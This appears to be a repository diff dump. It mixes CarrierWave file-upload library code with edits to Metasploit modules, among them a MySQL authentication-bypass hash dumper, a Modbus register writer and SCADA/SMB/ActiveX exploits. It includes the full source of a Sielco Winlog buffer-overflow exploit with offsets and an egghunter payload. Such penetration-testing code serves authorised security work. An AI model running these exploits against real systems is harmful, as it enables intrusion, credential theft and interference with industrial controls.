# Be careful using record ids as filenames. If the filename is stored in the database
# the record id will be nil when the filename is set. Don't use record ids unless you
# understand this limitation.
#
# Do not use the version_name in the filename, as it will prevent versions from being
# loaded correctly.
#
# === Returns
#
# [String] a filename
#
def filename
@filename
end
##
# Calculates the path where the file should be stored. If +for_file+ is given, it will be
# used as the filename, otherwise +CarrierWave::Uploader#filename+ is assumed.
#
# === Parameters
#
# [for_file (String)] name of the file <optional>
#
# === Returns
#
# [String] the store path
#
def store_path(for_file=filename)
File.join([store_dir, full_filename(for_file)].compact)
end
##
# Stores the file by passing it to this Uploader's storage engine.
#
# If new_file is omitted, a previously cached file will be stored.
#
# === Parameters
#
# [new_file (File, IOString, Tempfile)] any kind of file object
#
def store!(new_file=nil)
cache!(new_file) if new_file && ((@cache_id != parent_cache_id) || @cache_id.nil?)
if @file and @cache_id
with_callbacks(:store, new_file) do
new_file = storage.store!(@file)
@file.delete if (delete_tmp_file_after_storage && ! move_to_store)
delete_cache_id
@file = new_file
@cache_id = nil
end
end
end
##
# Deletes a cache id (tmp dir in cache)
#
def delete_cache_id
if @cache_id
path = File.expand_path(File.join(cache_dir, @cache_id), CarrierWave.root)
begin
Dir.rmdir(path)
rescue Errno::ENOENT
# Ignore: path does not exist
rescue Errno::ENOTDIR
# Ignore: path is not a dir
rescue Errno::ENOTEMPTY, Errno::EEXIST
# Ignore: dir is not empty
end
end
end
##
# Retrieves the file from the storage.
#
# === Parameters
#
# [identifier (String)] uniquely identifies the file to retrieve
#
def retrieve_from_store!(identifier)
with_callbacks(:retrieve_from_store, identifier) do
@file = storage.retrieve!(identifier)
end
end
private
def full_filename(for_file)
for_file
end
def storage
@storage ||= self.class.storage.new(self)
end
end # Store
end # Uploader
end # CarrierWave
@@ -0,0 +1,32 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Url
extend ActiveSupport::Concern
include CarrierWave::Uploader::Configuration
##
# === Parameters
#
# [Hash] optional, the query params (only AWS)
#
# === Returns
#
# [String] the location where this file is accessible via a url
#
def url(options = {})
if file.respond_to?(:url) and not file.url.blank?
file.method(:url).arity == 0 ? file.url : file.url(options)
elsif current_path
(base_path || "") + File.expand_path(current_path).gsub(File.expand_path(root), '')
end
end
def to_s
url || ''
end
end # Url
end # Uploader
end # CarrierWave
@@ -0,0 +1,254 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Versions
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
included do
class_attribute :versions, :version_names, :instance_reader => false, :instance_writer => false
self.versions = {}
self.version_names = []
attr_accessor :parent_cache_id
after :cache, :assign_parent_cache_id
after :cache, :cache_versions!
after :store, :store_versions!
after :remove, :remove_versions!
after :retrieve_from_cache, :retrieve_versions_from_cache!
after :retrieve_from_store, :retrieve_versions_from_store!
end
module ClassMethods
##
# Adds a new version to this uploader
#
# === Parameters
#
# [name (#to_sym)] name of the version
# [options (Hash)] optional options hash
# [&block (Proc)] a block to eval on this version of the uploader
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# version :thumb do
# process :scale => [200, 200]
# end
#
# version :preview, :if => :image? do
# process :scale => [200, 200]
# end
#
# end
#
def version(name, options = {}, &block)
name = name.to_sym
unless versions[name]
uploader = Class.new(self)
uploader.versions = {}
# Define the enable_processing method for versions so they get the
# value from the parent class unless explicitly overwritten
uploader.class_eval <<-RUBY, __FILE__, __LINE__ + 1
def self.enable_processing(value=nil)
self.enable_processing = value if value
if !@enable_processing.nil?
@enable_processing
else
superclass.enable_processing
end
end
RUBY
# Add the current version hash to class attribute :versions
current_version = {}
current_version[name] = {
:uploader => uploader,
:options => options
}
self.versions = versions.merge(current_version)
versions[name][:uploader].version_names += [name]
class_eval <<-RUBY
def #{name}
versions[:#{name}]
end
RUBY
# as the processors get the output from the previous processors as their
# input we must not stack the processors here
versions[name][:uploader].processors = versions[name][:uploader].processors.dup
versions[name][:uploader].processors.clear
end
versions[name][:uploader].class_eval(&block) if block
versions[name]
end
def recursively_apply_block_to_versions(&block)
versions.each do |name, version|
version[:uploader].class_eval(&block)
version[:uploader].recursively_apply_block_to_versions(&block)
end
end
end # ClassMethods
##
# Returns a hash mapping the name of each version of the uploader to an instance of it
#
# === Returns
#
# [Hash{Symbol => CarrierWave::Uploader}] a list of uploader instances
#
def versions
return @versions if @versions
@versions = {}
self.class.versions.each do |name, version|
@versions[name] = version[:uploader].new(model, mounted_as)
end
@versions
end
##
# === Returns
#
# [String] the name of this version of the uploader
#
def version_name
self.class.version_names.join('_').to_sym unless self.class.version_names.blank?
end
##
# When given a version name as a parameter, will return the url for that version
# This also works with nested versions.
# When given a query hash as a parameter, will return the url with signature that contains query params
# Query hash only works with AWS (S3 storage).
#
# === Example
#
# my_uploader.url # => /path/to/my/uploader.gif
# my_uploader.url(:thumb) # => /path/to/my/thumb_uploader.gif
# my_uploader.url(:thumb, :small) # => /path/to/my/thumb_small_uploader.gif
# my_uploader.url(:query => {"response-content-disposition" => "attachment"})
# my_uploader.url(:version, :sub_version, :query => {"response-content-disposition" => "attachment"})
#
# === Parameters
#
# [*args (Symbol)] any number of versions
# OR/AND
# [Hash] query params
#
# === Returns
#
# [String] the location where this file is accessible via a url
#
def url(*args)
if (version = args.first) && version.respond_to?(:to_sym)
raise ArgumentError, "Version #{version} doesn't exist!" if versions[version.to_sym].nil?
# recursively proxy to version
versions[version.to_sym].url(*args[1..-1])
elsif args.first
super(args.first)
else
super
end
end
##
# Recreate versions and reprocess them. This can be used to recreate
# versions if their parameters somehow have changed.
#
def recreate_versions!
# Some files could possibly not be stored on the local disk. This
# doesn't play nicely with processing. Make sure that we're only
# processing a cached file
#
# The call to store! will trigger the necessary callbacks to both
# process this version and all sub-versions
cache_stored_file! if !cached?
store!
end
private
def assign_parent_cache_id(file)
active_versions.each do |name, uploader|
uploader.parent_cache_id = @cache_id
end
end
def active_versions
versions.select do |name, uploader|
condition = self.class.versions[name][:options][:if]
if(condition)
if(condition.respond_to?(:call))
condition.call(self, :version => name, :file => file)
else
send(condition, file)
end
else
true
end
end
end
def full_filename(for_file)
[version_name, super(for_file)].compact.join('_')
end
def full_original_filename
[version_name, super].compact.join('_')
end
def cache_versions!(new_file)
# We might have processed the new_file argument after the callbacks were
# initialized, so get the actual file based off of the current state of
# our file
processed_parent = SanitizedFile.new :tempfile => self.file,
:filename => new_file.original_filename
active_versions.each do |name, v|
next if v.cached?
v.send(:cache_id=, cache_id)
# If option :from_version is present, create cache using cached file from
# version indicated
if self.class.versions[name][:options] && self.class.versions[name][:options][:from_version]
# Maybe the reference version has not been cached yet
unless versions[self.class.versions[name][:options][:from_version]].cached?
versions[self.class.versions[name][:options][:from_version]].cache!(processed_parent)
end
processed_version = SanitizedFile.new :tempfile => versions[self.class.versions[name][:options][:from_version]],
:filename => new_file.original_filename
v.cache!(processed_version)
else
v.cache!(processed_parent)
end
end
end
def store_versions!(new_file)
active_versions.each { |name, v| v.store!(new_file) }
end
def remove_versions!
versions.each { |name, v| v.remove! }
end
def retrieve_versions_from_cache!(cache_name)
versions.each { |name, v| v.retrieve_from_cache!(cache_name) }
end
def retrieve_versions_from_store!(identifier)
versions.each { |name, v| v.retrieve_from_store!(identifier) }
end
end # Versions
end # Uploader
end # CarrierWave
@@ -0,0 +1,63 @@
# encoding: utf-8
require 'active_model/validator'
require 'active_support/concern'
module CarrierWave
# == Active Model Presence Validator
module Validations
module ActiveModel
extend ActiveSupport::Concern
class ProcessingValidator < ::ActiveModel::EachValidator
def validate_each(record, attribute, value)
if e = record.send("#{attribute}_processing_error")
message = (e.message == e.class.to_s) ? :carrierwave_processing_error : e.message
record.errors.add(attribute, message)
end
end
end
class IntegrityValidator < ::ActiveModel::EachValidator
def validate_each(record, attribute, value)
if e = record.send("#{attribute}_integrity_error")
message = (e.message == e.class.to_s) ? :carrierwave_integrity_error : e.message
record.errors.add(attribute, message)
end
end
end
module HelperMethods
##
# Makes the record invalid if the file couldn't be uploaded due to an integrity error
#
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
#
def validates_integrity_of(*attr_names)
validates_with IntegrityValidator, _merge_attributes(attr_names)
end
##
# Makes the record invalid if the file couldn't be processed (assuming the process failed
# with a CarrierWave::ProcessingError)
#
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
#
def validates_processing_of(*attr_names)
validates_with ProcessingValidator, _merge_attributes(attr_names)
end
end
included do
extend HelperMethods
include HelperMethods
end
end
end
end
I18n.load_path << File.join(File.dirname(__FILE__), "..", "locale", 'en.yml')
@@ -0,0 +1,3 @@
module CarrierWave
VERSION = "0.6.2"
end
@@ -0,0 +1,55 @@
# encoding: utf-8
class <%= class_name %>Uploader < CarrierWave::Uploader::Base
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
# include CarrierWave::MiniMagick
# Include the Sprockets helpers for Rails 3.1+ asset pipeline compatibility:
# include Sprockets::Helpers::RailsHelper
# include Sprockets::Helpers::IsolatedHelper
# Choose what kind of storage to use for this uploader:
storage :file
# storage :fog
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url
# # For Rails 3.1+ asset pipeline compatibility:
# # asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
#
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Process files as they are uploaded:
# process :scale => [200, 300]
#
# def scale(width, height)
# # do something
# end
# Create different versions of your uploaded files:
# version :thumb do
# process :scale => [50, 50]
# end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
# def extension_white_list
# %w(jpg jpeg gif png)
# end
# Override the filename of the uploaded files:
# Avoid using model.id or version_name here, see uploader/store.rb for details.
# def filename
# "something.jpg" if original_filename
# end
end
@@ -0,0 +1,7 @@
class UploaderGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
def create_uploader_file
template "uploader.rb", "app/uploaders/#{file_name}_uploader.rb"
end
end
@@ -944,6 +944,20 @@ module MetasploitDataModels::ActiveRecordModels::Host
# # fingerprint. Otherwise, it's samba which doesn't give us much of
# # anything in most cases.
# ret[:certainty] = 1.0 if fp.data[:os_name] =~ /Windows/
when 'host.os.fusionvm_fingerprint'
case data[:os]
when /Windows/
ret.update(parse_windows_os_str(data[:os]))
when /Linux ([^[:space:]]*) ([^[:space:]]*) .* (\(.*\))/
ret[:os_name] = "Linux"
ret[:name] = $1
ret[:os_sp] = $2
ret[:arch] = get_arch_from_string($3)
else
ret[:os_name] = data[:os]
end
ret[:arch] = data[:arch] if data[:arch]
ret[:name] = data[:name] if data[:name]
else
# If you've fallen through this far, you've hit a generalized
# pass-through fingerprint parser.
@@ -0,0 +1,65 @@
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = "carrierwave"
s.version = "0.6.2"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["Jonas Nicklas"]
s.date = "2012-04-12"
s.description = "Upload files in your Ruby applications, map them to a range of ORMs, store them on different backends."
s.email = ["jonas.nicklas@gmail.com"]
s.extra_rdoc_files = ["README.md"]
s.files = ["README.md"]
s.homepage = "https://github.com/jnicklas/carrierwave"
s.rdoc_options = ["--main"]
s.require_paths = ["lib"]
s.rubyforge_project = "carrierwave"
s.rubygems_version = "1.8.15"
s.summary = "Ruby file upload library"
if s.respond_to? :specification_version then
s.specification_version = 3
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_runtime_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_development_dependency(%q<mysql2>, [">= 0"])
s.add_development_dependency(%q<rails>, [">= 3.2.0"])
s.add_development_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_development_dependency(%q<json>, [">= 0"])
s.add_development_dependency(%q<rspec>, ["~> 2.0"])
s.add_development_dependency(%q<sham_rack>, [">= 0"])
s.add_development_dependency(%q<timecop>, [">= 0"])
s.add_development_dependency(%q<fog>, [">= 1.3.1"])
s.add_development_dependency(%q<mini_magick>, [">= 0"])
s.add_development_dependency(%q<rmagick>, [">= 0"])
else
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_dependency(%q<mysql2>, [">= 0"])
s.add_dependency(%q<rails>, [">= 3.2.0"])
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_dependency(%q<json>, [">= 0"])
s.add_dependency(%q<rspec>, ["~> 2.0"])
s.add_dependency(%q<sham_rack>, [">= 0"])
s.add_dependency(%q<timecop>, [">= 0"])
s.add_dependency(%q<fog>, [">= 1.3.1"])
s.add_dependency(%q<mini_magick>, [">= 0"])
s.add_dependency(%q<rmagick>, [">= 0"])
end
else
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_dependency(%q<mysql2>, [">= 0"])
s.add_dependency(%q<rails>, [">= 3.2.0"])
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_dependency(%q<json>, [">= 0"])
s.add_dependency(%q<rspec>, ["~> 2.0"])
s.add_dependency(%q<sham_rack>, [">= 0"])
s.add_dependency(%q<timecop>, [">= 0"])
s.add_dependency(%q<fog>, [">= 1.3.1"])
s.add_dependency(%q<mini_magick>, [">= 0"])
s.add_dependency(%q<rmagick>, [">= 0"])
end
end
@@ -6,7 +6,7 @@ Gem::Specification.new do |s|
s.required_rubygems_version = Gem::Requirement.new("> 1.3.1") if s.respond_to? :required_rubygems_version=
s.authors = ["Trevor Rosen"]
s.date = "2012-06-01"
s.date = "2012-06-13"
s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions."
s.email = ["trevor_rosen@rapid7.com"]
s.executables = ["mdm_console"]
@@ -20,14 +20,14 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Name' => 'MySQL Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'Author' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
@@ -48,17 +48,18 @@ class Metasploit3 < Msf::Auxiliary
results = []
# Username and password placeholders
username = datastore['USERNAME']
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)
# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
@@ -70,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
@@ -104,23 +105,22 @@ class Metasploit3 < Msf::Auxiliary
# keep track of how many attempts we've made
item = queue.shift
# We can stop if we reach 1000 tries
break if not item
# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0
t = Thread.new(item) do |count|
begin
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
@@ -140,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary
# We can stop if we get a valid login
break if results.length > 0
# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
@@ -154,13 +154,13 @@ class Metasploit3 < Msf::Auxiliary
::IO.select(nil, nil, nil, 0.25)
end
# Clean up any remaining threads
cur_threads.each {|x| x.kill }
if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end
@@ -14,16 +14,16 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Modbus Client',
'Name' => 'Modbus Client Utility',
'Description' => %q{
This module sends a command (0x06, write to one register) to a modbus endpoint.
You can change port, ip, register to write and data to write, as well as unit-id.
This module sends a command (0x06, write to one register) to a Modbus endpoint.
You can change port, IP, register to write and data to write, as well as unit-id.
Modbus is a clear text protocol used in common SCADA systems, developed
originally as a serial-line (RS232) async protocol. It is later transformed
to IP, which is called ModbusTCP.
There are a handful of functions which is possible to do, but this
There are a handful of functions which are possible to do, but this
client has only implemented the function "write value to register" (\x48).
},
'Author' => [ 'EsMnemon <esm[at]mnemonic.no>' ],
@@ -80,4 +80,4 @@ scapy - even with source-IP
tcp=TCP(dport=509)
send(ip/tcp/sploit)
=end
=end
@@ -47,10 +47,14 @@ class Metasploit3 < Msf::Auxiliary
# Theory: Whene sending a modbus request of some sort, the endpoint will return
# with at least the same transaction-id, and protocol-id
if data and data[0,4] == "\x21\x00\x00\x00"
print_status("Received: correct MODBUS/TCP header from #{ip}")
if data
if data[0,4] == "\x21\x00\x00\x00"
print_good("#{ip}:#{rport} - MODBUS - received correct MODBUS/TCP header")
else
print_error("#{ip}:#{rport} - MODBUS - received incorrect data #{data[0,4].inspect} (not modbus/tcp?)")
end
else
print_status("Received: incorrect data from #{ip} (not modbus/tcp?)")
vprint_status("#{ip}:#{rport} - MODBUS - did not receive data.")
end
disconnect()
@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a file upload vulnerability found in Symantec Web Gateway's
HTTP service. Due to the incorrect use of file extensions in the upload_file()
function, this allows us to abuse the spywall/blocked_file.php file in order to
function, attackers may to abuse the spywall/blocked_file.php file in order to
upload a malicious PHP file without any authentication, which results in arbitrary
code execution.
},
+1 -1
View File
@@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
p = buildpacket(shost, rhost, rport.to_i)
print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
capture_sendto(p, rhost)
@@ -14,9 +14,9 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
'Name' => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow",
'Name' => "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow",
'Description' => %q{
This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed
This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX control installed
with the Samsung NET-i viewer 1.37.
Specifically, when supplying a long string for the fname parameter to the
@@ -22,9 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a vulnerability found in Microsoft Office's ClickOnce
feature. When handling a Macro document, the application fails to recognize
certain file extensions as dangerous executables, which can be used to bypass
the warning message. This allows you to trick your victim into opening the
malicious document, which will load up either a python or ruby payload based on
your choosing, and then finally download and execute our executable.
the warning message. This can allow attackers to trick victims into opening the
malicious document, which will load up either a python or ruby payload, and
finally, download and execute an executable.
},
'License' => MSF_LICENSE,
'Author' =>
@@ -247,4 +247,4 @@ mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c
---
> if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
31c31
=end
=end
+1 -1
View File
@@ -220,7 +220,7 @@ class Metasploit3 < Msf::Exploit::Remote
drives = ["c","d","e","f","g","h"]
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]
sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot%
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@@ -1,97 +1,98 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
'Description' => %q{
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'm-1-k-3 <m1k3[at]s3cur1ty.de>'
],
'References' =>
[
[ 'BID', '53811'],
[ 'URL', 'http://www.s3cur1ty.de' ],
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
'DisclosureDate' => 'Jun 04 2012',
'DefaultTarget' => 0))
register_options([Opt::RPORT(46824)], self.class)
end
def exploit
connect
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)
select(nil,nil,nil,1)
buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
'Description' => %q{
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'm-1-k-3 <m1k3[at]s3cur1ty.de>'
],
'References' =>
[
[ 'BID', '53811'],
[ 'URL', 'http://www.s3cur1ty.de' ],
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
'DisclosureDate' => 'Jun 04 2012',
'DefaultTarget' => 0))
register_options([Opt::RPORT(46824)], self.class)
end
def exploit
connect
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)
select(nil,nil,nil,1)
buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end
+3 -3
View File
@@ -35,8 +35,8 @@ class Metasploit3 < Msf::Post
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
'Description' => %q{
This module will enumerate the Skype accounts settings, contact list, call history, chat logs,
file transfer history and voicemail log saving all the data in to CSV files for analysis.
This module will enumerate Skype account settings, contact list, call history, chat logs,
file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Post
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin